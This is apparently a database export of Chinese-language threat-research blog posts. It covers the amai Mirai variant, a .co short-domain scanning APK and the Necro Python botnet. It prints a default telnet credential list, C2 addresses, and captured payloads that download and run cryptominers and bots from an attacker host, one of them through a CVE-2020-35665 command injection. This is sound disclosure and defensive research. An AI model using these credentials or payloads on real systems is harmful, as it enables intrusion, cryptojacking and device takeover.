("support", "support")
("admin", "samsung")
("daemon", "daemon")
("root", "tsgoingon")
("root", "xmhdipc")
("root", "Zte521")
("telnetadmin", "telnetadmin")
("ftp", "ftp")
("root", "hslwificam")
("root", "2011vsta")
("bin", "0")
("admin", "12345")
("vstarcam2015", "20150602")
("root", "antslq")
("e8ehome", "e8ehome")
("e8telnet", "e8telnet")
("root", "54321")
("admin", "h@32LuyD")
("teladmin", "hacktheworld1337")
("root", "hipc3518")
("root", "888888")
("root", "admin")
("root", "default")
("root", "1234")
("root", "root")
("root", "20080826")
("admin", "12345")
("admin", "54321")
("admin", "123456")
("admin", "1234")
("admin", "aquario")
("root", "ttnet")
("admin", "2601hx")
("admin", "t0talc0ntr0l4")
("ubnt", "ubnt")
("root", "1001chin")
将能成功登录的设备信息回传给reporter,格式为ip:23 <user>:<pass>\r\n
C2通信及指令
bot样本向C2发送以下信息通知上线
上线包
packet 1
01 01
packet 2
01 02 20 <group>
流量抓包如下
DDoS攻击
就怕坏人爱学习
至此分析结束，但是故事并没有结束。 从amai的进程清理功能，我们可以看出其作者起初将作工作做的非常细致，并不想破坏设备的正常运行。但是未曾想到抹除halt,reboot,poweroff系统命令的权限操作意外的影响到了busybox，进而使得以busybox作为文件系统的设备瘫痪，非常巧合的增加了amai的危害性。
amai的作者发现了这个问题，选择修复，随后在2020年12月14日 更新了新版本，去除了权限抹除的操作。
随后其作者又意识到了这个操作的价值------非常方便就能把设备变成只能被他控制的“半砖”。因此在2020年12月20日传播的影响到佰才邦的基站设备的样本中重新加入了抹除权限的操作。
以3个时间节点的样本为例，我们可以看到抹除权限操作的来来往往，真是应了那句话，不怕坏人武功高，就怕坏人脑洞大！
{"uri":"http://193.109.217.16:80/hohobins/hoho.x86",
"@timestamp":"2020-12-11 04:03:09",
"fn":"mirai_amai",
"md5":"80c982d760648ca07faa5e7ee783710b"}
{"uri":"http://193.109.217.16:80/hohobins/hoho.x86",
"@timestamp":"2020-12-14 04:00:16",
"fn":"mirai_amai",
"md5":"6003cf5538dfc184e5f879ef78962a7d"}
{"uri":"http://45.153.203.120:80/hohobins/hoho.arm7",
"@timestamp":"2020-12-20 03:01:00",
"fn":"mirai_amai",
"md5":"c626b3c0390d03d822aa25388bb12b25"}
IOC
c2
193.109.217.16:889
45.153.203.120:889
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n\n## 背景\n\n2020年12月11日，360netlab发现```193.109.217.16```正在传播一批未知的ELF样本，经分析，我们确定这是一个复用了mirai结构，但重写了上线信息，加密算法的新型变种。基于样本中```amai botnet ```的字串，我们将其命名为amai。\n\n本以为amai只是一个平淡无奇的mirai变种，但是2020年12月21日，一批佰才邦的基站产品（数量300+）瘫痪，其团队向到我们求助，经过取证，发现背后的黑手就是amai。在之前的分析中，并没有发现amai有让设备瘫痪的功能，为何现实啪啪打脸。带着疑问，我们开始了调查，最终成功定位了问题在于busybox文件系统。鉴于大量IOT设备使用busybox来实现文件系统，一旦被amai侵入会造成巨大危害，我们决定编写本文，向社区披露amai的技术细节。\n\n\n\n## 分析\n\n本文选取x86 CPU构架的amai bot样本进行分析，基体信息如下\n\n```\nMD5:cde6336628409d12abcc29d113620f4b\nELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped\nLib:uclibc\n```\n\namai运行时，会在console输出```amai botnet killing off all your daily shitness off your device, you're welcome :)```以迷惑用户，通过绑定端口实现单一实例，解密出加密的资源供后续的进程重命名，进程清理使用。接着通过操纵watchdog设备，以及抹去```halt,reboot,poweroff```执行权限来实现设备不重起。最后开始telnet爆破；同时和C2建立通信，等待执行C2下发的指令。下文将依此脉络分析amai的实现。\n\n\n\n### 单一实例\n\n目前观测到amai一共使用过2个端口：```5231，8923```\n\n\n\n### 解密算法\n\n解密出字串资源供后续使用,python实现如下\n\n```\nxorkey=\"QjfjxSRDFGSFDdf\"\ndef decode_str(ctxt):\n for i in range(0,len(ctxt)):\n \n \n for idx in range(1, len(xorkey)):\n\t\t\t\n ch=ord(ctxt[i])\n \n ch ^=((idx*((ord(xorkey[idx]) + i ) &0xff)) &0xff)\n \n \n \n ctxt=ctxt[:i]+chr(ch)+ctxt[i+1:]\n ch ^=0xaf\n ctxt=ctxt[:i]+chr(ch)+ctxt[i+1:]\n\n return ''.join(ctxt)\n\n```\n\n以密文```C8 39 39 02```为例，\n\n```\nprocname='''C8 39 39 02\n'''.replace(' ', '').replace('\\n','').decode('hex')\nprint(decode_str(procname))\n\n;;; sipd\n```\n\n以下为解密出的字串列表\n\n```\n/proc\n/stat\n/proc/1/stat\n/map\n/usr/lib\n/lib\nsipd\n```\n---\n### 进程重命名\n<br /> \n\n新的进程名为解密的字串```sipd```\n\n\n\n### 权限抹除\n\n抹除以下系统命令的权限，以让受害者设备无法重起。\n\n\n\n\n\n值得注意的是，在使用busybox作用文件系统的设备，以上操作会造成```额外伤害```。\n\n\n\n如上所示，halt,poweroff,reboot都是busybox实现的，抹权限操作最终会让```/bin/busybox```的权限变成0，进而导致大量依赖busybox的服务无法使用，设备陷入瘫痪状态。\n\n\n\n### 进程清理\n\n进程清理分成2步，通过```kill -9```结束非白名单进程，接着为系统建立进程快照，不达标的新进程创建后都将被清除，整个系统保持在amai的控制下运行，让维护变得极其困难。\n\n#### 第一步，清理非白名单进程。\n\n当bot样本运行时，遍历系统当前进行的进程，进行号大于299，路径不在以下路径中的进程都会被结束。可以看出，路径都是系统正常运行依赖的，因此可以推测amai```无意去破坏系统```。\n\n\n\n\n\n同时被结束的进程会回传给C2，这一步的目的未知。\n\n\n\n\n\n#### 第二步，建立进程快照，不达标的新进程都将被清理。\n\n当bot清理了非白单名单进程后，认为系统处在一个“纯净的状态”，此时为系统建立进程快照，监控新进程创建，不达标就清理掉。\n\n\n\n其中```wrap_strin```的功能为子串匹配，当新进程的绝对路径不是bot样本的绝对路径的子串时，新进程就会被杀死。以下演示了这个过程，当名为```samp```样本运行后，```netstat```系统命令执行时直接被杀死了。我们将netstat拷贝到同路径下，重命名为```sa```,可以看到sa能正常。\n\n\n\n### telnet扫描\n\n复用了mirai扫描机制，使用以下帐号密码对随机生成的ip地址进行登录尝试\n\n```\n(\"root\", \"vizxv\")\n(\"admin\", \"admin\")\n(\"root\", \"icatch99\")\n(\"default\", \"default\")\n(\"default\", \"0\");\n(\"root\", \"solokey\")\n(\"root\", \"123456\")\n(\"guest\", \"guest\")\n(\"root\", \"xc3511\")\n(\"root\", \"root\")\n(\"guest\", \"12345\")\n(\"user\", \"user\")\n(\"support\", \"support\")\n(\"admin\", \"samsung\")\n(\"daemon\", \"daemon\")\n(\"root\", \"tsgoingon\")\n(\"root\", \"xmhdipc\")\n(\"root\", \"Zte521\")\n(\"telnetadmin\", \"telnetadmin\")\n(\"ftp\", \"ftp\")\n(\"root\", \"hslwificam\")\n(\"root\", \"2011vsta\")\n(\"bin\", \"0\")\n(\"admin\", \"12345\")\n(\"vstarcam2015\", \"20150602\")\n(\"root\", \"antslq\")\n(\"e8ehome\", \"e8ehome\")\n(\"e8telnet\", \"e8telnet\")\n(\"root\", \"54321\")\n(\"admin\", \"h@32LuyD\")\n(\"teladmin\", \"hacktheworld1337\")\n(\"root\", \"hipc3518\")\n(\"root\", \"888888\")\n(\"root\", \"admin\")\n(\"root\", \"default\")\n(\"root\", \"1234\")\n(\"root\", \"root\")\n(\"root\", \"20080826\")\n(\"admin\", \"12345\")\n(\"admin\", \"54321\")\n(\"admin\", \"123456\")\n(\"admin\", \"1234\")\n(\"admin\", \"aquario\")\n(\"root\", \"ttnet\")\n(\"admin\", \"2601hx\")\n(\"admin\", \"t0talc0ntr0l4\")\n(\"ubnt\", \"ubnt\")\n(\"root\", \"1001chin\")\n```\n\n将能成功登录的设备信息回传给reporter,格式为```ip:23 <user>:<pass>\\r\\n```\n\n\n\n### C2通信及指令\n\nbot样本向C2发送以下信息通知上线\n\n#### 上线包\n\npacket 1\n\n```\n01 01\n```\n\npacket 2\n\n```\n01 02 20 <group>\n```\n\n流量抓包如下\n\n\n\n#### \n\n#### DDoS攻击\n\n\n\n## 就怕坏人爱学习\n\n至此分析结束，但是故事并没有结束。 从amai的进程清理功能，我们可以看出其作者起初将作工作做的非常细致，并不想破坏设备的正常运行。但是未曾想到抹除```halt,reboot,poweroff```系统命令的权限操作意外的影响到了busybox，进而使得以busybox作为文件系统的设备瘫痪，非常巧合的增加了amai的危害性。\n\namai的作者发现了这个问题，选择修复，随后在2020年12月14日 更新了新版本，去除了权限抹除的操作。\n\n随后其作者又意识到了这个操作的价值------非常方便就能把设备变成只能被他控制的“半砖”。因此在2020年12月20日传播的影响到佰才邦的基站设备的样本中重新加入了抹除权限的操作。\n\n以3个时间节点的样本为例，我们可以看到抹除权限操作的来来往往，真是应了那句话，不怕坏人武功高，就怕坏人脑洞大！\n\n```\n{\"uri\":\"http://193.109.217.16:80/hohobins/hoho.x86\",\n\"@timestamp\":\"2020-12-11 04:03:09\",\n\"fn\":\"mirai_amai\",\n\"md5\":\"80c982d760648ca07faa5e7ee783710b\"}\n```\n\n```\n{\"uri\":\"http://193.109.217.16:80/hohobins/hoho.x86\",\n\"@timestamp\":\"2020-12-14 04:00:16\",\n\"fn\":\"mirai_amai\",\n\"md5\":\"6003cf5538dfc184e5f879ef78962a7d\"}\n```\n\n```\n{\"uri\":\"http://45.153.203.120:80/hohobins/hoho.arm7\",\n\"@timestamp\":\"2020-12-20 03:01:00\",\n\"fn\":\"mirai_amai\",\n\"md5\":\"c626b3c0390d03d822aa25388bb12b25\"}\n\n```\n\n\n\n\n\n\n## IOC\n\n### c2\n```\n193.109.217.16:889\n45.153.203.120:889\n```\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5fe5e8b7d0d9b70007129b9f |
post | null | 2020-12-30T07:46:22.000Z | 63873b9a8b1c1e0007f52f95 | duan-yu-ming-sao-miao-de-shi-qing | 0 | 2020-12-30T14:52:11.000Z | public | draft | null | null | co短域名扫描的事情 | <!--kg-card-begin: markdown--><h2 id="dnsmon">DNSMon发现大量的用户存在短域名扫描</h2>
<p>短域名的形式为 [a-z0-9]{3}.co</p>
<h2 id="apk">调查发现是由某个apk引起的</h2>
<p>666b3f55a415bb87dca941746cf94864 极光影院<br>
63e5bd5ef2d5931c4f519f154cada895 极光影院</p>
<h2 id="">沙箱的行为</h2>
<pre><code>2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=93w.co ip=172.67.141.92 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=84o.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=89y.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=96b.co ip=23.236.62.147 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=82r.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=38g.co ip=193.38.55.49 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=46z.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=74x.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=81n.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=54n.co ip=45.55.177.90 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=70d.co ip=50.62.25.1 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=29y.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=29p.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=88q.co ip=103.120.80.155 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=81y.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=09p.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=57o.co ip=193.38.55.92 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=95r.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=20k.co ip=184.168.131.241 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=31c.co ip=192.185.78.52 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=87u.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=61m.co ip=45.88.202.115 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=65u.co ip=185.212.128.104 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=83y.co cname=site.lbo888999.com src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=14t.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=26e.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=95e.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=63m.co src=mb
</code></pre>
<!--kg-card-end: markdown--> | DNSMon发现大量的用户存在短域名扫描
短域名的形式为 [a-z0-9]{3}.co
调查发现是由某个apk引起的
666b3f55a415bb87dca941746cf94864 极光影院
63e5bd5ef2d5931c4f519f154cada895 极光影院
沙箱的行为
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=93w.co ip=172.67.141.92 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=84o.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=89y.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=96b.co ip=23.236.62.147 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=82r.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=38g.co ip=193.38.55.49 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=46z.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=74x.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=81n.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=54n.co ip=45.55.177.90 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=70d.co ip=50.62.25.1 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=29y.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=29p.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=88q.co ip=103.120.80.155 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=81y.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=09p.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=57o.co ip=193.38.55.92 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=95r.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=20k.co ip=184.168.131.241 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=31c.co ip=192.185.78.52 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=87u.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=61m.co ip=45.88.202.115 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=65u.co ip=185.212.128.104 src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns server=10.0.2.3 domain=83y.co cname=site.lbo888999.com src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=14t.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=26e.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=95e.co src=mb
2020-12-10 16:41:31 666b3f55a415bb87dca941746cf94864 dns_nx server=10.0.2.3 domain=63m.co src=mb
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## DNSMon发现大量的用户存在短域名扫描\n短域名的形式为 [a-z0-9]{3}.co\n## 调查发现是由某个apk引起的\n666b3f55a415bb87dca941746cf94864 极光影院\n63e5bd5ef2d5931c4f519f154cada895 极光影院\n## 沙箱的行为\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=93w.co\tip=172.67.141.92\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=84o.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=89y.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=96b.co\tip=23.236.62.147\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=82r.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=38g.co\tip=193.38.55.49\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=46z.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=74x.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=81n.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=54n.co\tip=45.55.177.90\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=70d.co\tip=50.62.25.1\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=29y.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=29p.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=88q.co\tip=103.120.80.155\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=81y.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=09p.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=57o.co\tip=193.38.55.92\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=95r.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=20k.co\tip=184.168.131.241\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=31c.co\tip=192.185.78.52\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=87u.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=61m.co\tip=45.88.202.115\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=65u.co\tip=185.212.128.104\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns\tserver=10.0.2.3\tdomain=83y.co\tcname=site.lbo888999.com\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=14t.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=26e.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=95e.co\tsrc=mb\n 2020-12-10 16:41:31\t666b3f55a415bb87dca941746cf94864\tdns_nx\tserver=10.0.2.3\tdomain=63m.co\tsrc=mb"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5fec304ed0d9b70007129ddc |
post | null | 2021-01-09T09:41:23.000Z | 63873b9a8b1c1e0007f52f96 | themoon-botnet | 0 | 2021-01-12T09:27:40.000Z | public | draft | null | null | Themoon botnet in 2020 | <p>Dropper</p> | Dropper | {"version":"0.3.1","atoms":[],"cards":[],"markups":[],"sections":[[1,"p",[[0,[],0,"Dropper"]]],[1,"p",[]]],"ghostVersion":"3.0"} | 5ff97a43d0d9b70007129e5f |
post | null | 2021-01-19T11:16:52.000Z | 63873b9a8b1c1e0007f52f97 | not-really-new-pyhton-ddos-bot-n3cr0m0rph-necromorph | 0 | 2021-07-08T02:33:43.000Z | public | published | null | 2021-01-21T08:17:02.000Z | Necro在频繁升级，新版本开始使用PyInstaller和DGA | <!--kg-card-begin: markdown--><h2 id="">概述</h2>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>Necro是一个经典的Python编写的botnet家族，最早发现于2015年，早期针对Windows系统，常被报为Python.IRCBot，作者自己则称之为N3Cr0m0rPh(Necromorph)。自2021年1月1号起，360Netlab的BotMon系统持续检测到该家族的新变种，先后有3个版本的样本被检测到，它们均针对Linux系统，并且最新的版本使用了<a href="#dga">DGA</a>技术来生成C2域名对抗检测。本文将对最近发现的Necro botnets做一分析。</p>
<p>本文的关键点如下：<br>
1，Necro最新版的感染规模在万级，并且处于上升趋势。<br>
2，在传播方式上，Necro支持多种方式，并且持续集成新公开的1-day漏洞，攻击能力较强。<br>
3，最新版Necro使用了DGA技术生成C2域名，Python脚本也经过重度混淆以对抗静态分析。<br>
4，目前传播的不同版本Necro botnet背后为同一伙人，并且主要针对Linux设备。<br>
5，最新的2个版本为了确保能在没有Python2的受害机器上执行，会同时分发使用PyInstaller打包过的Python程序。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><p>在撰写本文时,我们注意到先后有2家安全厂商报道了Necro botnet及其团伙<a href="#ref_1">[PythonCryptoMinter]</a><a href="#ref_2">[FreakOut]</a>，但他们描述的均是已经停止传播的第2个版本，本文将描述更多的关于Necro的内容。</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="">捕获</h2>
<!--kg-card-end: markdown--><p>Necro支持多种传播方式，其中2种被我们的Anglerfish蜜罐系统成功捕获到：一种是传统的telnet弱口令爆破，另一种是1-day 漏洞<strong>(</strong>CVE-2020-35665)。捕获记录如下：</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----12.jpg" class="kg-image" alt loading="lazy"></figure><p>下面是实际捕获到的利用telnet弱口令传播第3版时的payload：</p><pre><code>root
password
enable
system
shell
sh
echo -e '\x41\x4b\x34\x37'
wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o aveixucyimxwcmph.xyz:9050";LINE="killall -9 .sshd||pkill -9 .sshd_;[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &";grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc;curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;mv -f .sshd_ .sshd_;chmod 777 .sshd_;curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;mv -f xmrig .sshd;chmod 777 .sshd;chmod +x ~/.bashrc;~/.bashrc;cd /tmp||php -r "file_put_contents(".benchmark", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark"));";curl http://aveixucyimxwcmph.xyz/.benchmark -O;curl http://aveixucyimxwcmph.xyz/.benchmark.py -O;php -r "file_put_contents(".benchmark.py", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark.py"));";wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;chmod 777 .benchmark.py;chmod 777 .benchmark;python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py &
</code></pre><p>下面是实际捕获到的利用 1-day漏洞CVE-2020-35665传播第3版时的payload：</p><pre><code>GET /include/makecvs.php?Event=`export ARGS="-o aveixucyimxwcmph.xyz:9050"
LINE="killall -9 .sshd||pkill -9 .sshd_
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &"
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc
curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_
mv -f .sshd_ .sshd_
chmod 777 .sshd_
curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig
mv -f xmrig .sshd
chmod 777 .sshd
chmod +x ~/.bashrc
~/.bashrc
cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));"
curl http://aveixucyimxwcmph.xyz/.benchmark -O
curl http://aveixucyimxwcmph.xyz/.benchmark.py -O
php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));"
wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark
wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py
</code></pre><!--kg-card-begin: markdown--><p>从上面的payload可以看到exp除了下载并执行原始的Python脚本（.benchmark.py），还会尝试下载并执行PyInstaller打包后的ELF文件（.benchmark），这是作者自第2版开始引入的手法，目的是为了提高执行成功率。因为Python 2已经到达EOL(end-of-life)，有些受害者机器上缺乏这个运行环境，而使用Pyinstaller打包后的Python程序将成为独立的ELF，即使目标机器上没有Python环境也可以正常执行。</p>
<p>值得说明的是漏洞CVE-2020-35665公开于2020年12月23日，距离我们首次捕获它的利用只有8天，可见作者对新漏洞的使用非常“积极”。</p>
<p>另外，除了Necro样本，上面的exp还会下载挖矿程序xmrig和xmrig1，利用360netlab其它维度的数据，我们发现同样的download server还曾用于mirai和一些Windows恶意exe程序的下载，说明Necro的作者同时在运营多个家族的botnet：</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----1-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h2 id="">感染规模</h2>
<!--kg-card-end: markdown--><p>根据360netlab的DNSMon数据我们对第2和第3版的2个C2域名解析情况做了统计，以此来评估感染规模。根据下面的2个统计，我们能看到这两域名的unique客户端数均为2位数，考虑到数据采集位置的区别，真实的流量大概是我们统计的500～700倍，所以它们实际的规模均应该在万级。</p><p>下面是第2版C2域名的解析统计，能看到这个域名已经过了稳定期，处于下降状态。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----6.jpg" class="kg-image" alt loading="lazy"></figure><p>下面是第3版域名的解析统计，能看到解析量在上升，说明这个版本还处于发展阶段。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/-----9.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h2 id="">样本分析</h2>
